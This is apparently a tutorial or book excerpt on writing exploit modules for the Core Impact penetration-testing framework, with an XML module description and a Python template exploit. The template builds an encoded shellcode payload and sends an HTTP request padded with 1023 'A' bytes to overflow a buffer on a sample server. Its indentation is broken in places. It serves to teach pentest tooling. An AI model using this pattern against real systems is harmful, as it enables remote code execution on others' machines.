Writing Modules for Core Impact

There are several benefits to adding your own exploit modules to Core Impact, including reusability and portability. Core Impact provides a developer's manual in its help file, explaining how to write exploits and use their libraries. Usually the best choice when writing a new exploit module is to choose an existing one and modify it with minor changes.

The first part of a module file is an XML module description. This description allows Core Impact to identify the file and help integrate it inside the GUI and logic. For example:

__xmldata_  _ = """
<entity class="module" type="python" name="An IMPACT exploit">

#information on the exploit itself, Id, description, cve, name,
    <property type="string" key="classname">TemplateExploit</property>
    <property type="string" key="Vulnerability" readonly="1">CAN-2008-0725</property>
    <property type="string" key="author">NONE</property>
    <property type="string" key="warning">This exploit may leave the service unavailab
le</property>
    <property type="string" key="brief">Exploits an array overflow
    </property>
    <property type="string" key="category">Samples</property>
    <property type="xmldata" key="Description" readonly="1">
        <para>Here you should ideally describe</para>
        <para>This is an example</para>
    </property>

#List of Operation system vulnerable to this exploit.
    <property type="xmldata" key="Supported systems" readonly="1">
        <list>
            <li>Windows 2000 Professional - sp0 (i386)</li>
            <li>Windows 2000 Professional - sp2 (i386)</li>
            <li>Windows 2000 Advanced Server - sp0 (i386)</li>
            <li>Windows 2000 Server - sp3 (i386)</li>
            <li>RedHat Linux 8 (i386)</li>
        </list>
    </property>

#Some note on the exploit, was it tested on what, when, bug,
    <property type="xmldata" key="Supported systems notes" readonly="1">
        <para>The exploit was tested, and works on:</para>
        <list>
            <li>Server v149 on Microsoft Windows</li>
            <li>Server v367 on Microsoft Windows</li>
            <li>Server v766 on Microsoft Windows</li>
            <li>Server v794 on Microsoft Windows</li>
            <li>Server v733 on Linux</li>
        </list>
        <para>The bug is known to be fixed in Server v999</para>
    </property>

    <property type="xmldata" key="Additional information" readonly="1">
        <list>
            <link>http://www.securityfocus.com/bid/6666</link>
        </list>
    </property>

    <property type="xmldata" key="Special comments" readonly="1">
<para>Here you can explain some special characteristics of the exploit </para>
    </property>

    <property type="parameters" key="parameters">
        <property type="string" key="TARGET">192.168.0.1</property>
        <property type="uint16" key="PORT">313</property>
        <property type="uint16" key="EGG_PORT">0</property>
        <property type="user:Connect to target,
                         Connect from target,
                         Reuse connection"
        key="CONNECTION_METHOD">Connect to target</property>
    </property>

    <property type="parameters" key="parameter_description">
<property type="string" key="TARGET">
    The target system for the attack
</property>
<property type="string" key="PORT">
            The TCP port where the server is listening
        </property>
<property type="string" key="EGG_PORT">
The TCP port where the deployed level 0 agent will listen. If 0 is specified a random
port will be chosen in the range 40001-60000
        </property>
        <property type="string" key="CONNECTION_METHOD">
The method the deployed agent will use to connect to the current source agent.
        </property>
    </property>

    <property type="string" key="version">$Revision$</property>
    <property type="container" key="highlight_preconditions" readonly="1">
        <property type="container" key="ValidTargets" readonly="1">
            <property type="string" key="windows" readonly="1"/>
            <property type="string" key="linux" readonly="1"/>
        </property>
        <property type="container" key="TargetClasses" readonly="1">
            <property type="string" key="host" readonly="1"/>
        </property>
        <property type="container" key="services" readonly="1">
            <property type="string" key="rtsp" readonly="1"/>
        </property>
        <property type="container" key="Costs" readonly="1">
            <property type="uint16" key="oneshot" readonly="1">1
            </property>
        </property>
    </property>
</entity>"""

The second part of the module is the Python script that creates the exploit. This part takes care of the exploit crafting and delivery. It also deals with checking the callback and handling different exceptions:

from impact import exploitlib
from impact.LibEgg import SubstractSPEgg,GetCodeAddressEgg,XorEgg

class TemplateExploit(exploitlib.RemoteExploit):
    """ The name of the class must match the one declared under <classname> in the XML
 description.  For Remote exploits we recommend subclassing
exploitlib.RemoteExploit, however another choice does exist.
   """

    def targetSetup(self):
        exploitlib.RemoteExploit.targetSetup(self)
        self.egg = SubstractSPEgg.SubstractSPEgg(  )
        self.egg['size'] = 3000   """  Max size of the egg """
        self.egg += GetCodeAddressEgg.GetCodeAddressEgg(  )
        self.egg += XorEgg.XorEgg(self.basicEgg(  ))
        self.egg['invalidChars'] = '\x00.<>' """Chars not in payload"""
        self.setMaxTries(10) """Max number of tries −1 mean infinite"""

    def attackRun(self):
""" attackRun(  ) is where you should write the main code of the attack.  On enter to
attackRun(  ), self.sock will be a socket already connected to the target host
and port. This connection is done in the default
implementation of setupConnection(  ), which
you could reimplement and/or call as you need.
        """

        self.logMed("Try %d" % self.tries)
        self.logDebug("Egg len %d" % self.codelen(  ))
        self.toSend = "GET /toto.htm."
        self.toSend += "A"*1023
        self.toSend += '/'+self.code(  )
        self.toSend += "/.html HTTP/1.0\r\n\r\n"
        self.logDebug("sending %d bytes." % len(self.toSend))
        self.sock.send(self.toSend)

    def agentConnected(self, agent, proxyCall):
""" This method will be called whenever a new agent is connected to the target system.
  Here you could, for example, clear timeouts, or clean up registry keys, etc. """
        proxyCall.signal(proxyCall.get(proxyCall.SP_
           SIGCHLD),proxyCall.get(proxyCall.SP_SIG_IGN))
        proxyCall.signal(proxyCall.get(proxyCall.SP_
           SIGALRM),proxyCall.get(proxyCall.SP_SIG_IGN))

     def agentNotConnected(self):
"""
This method will be called after attackRun(  ) if the agent could not
be connected
 """
     pass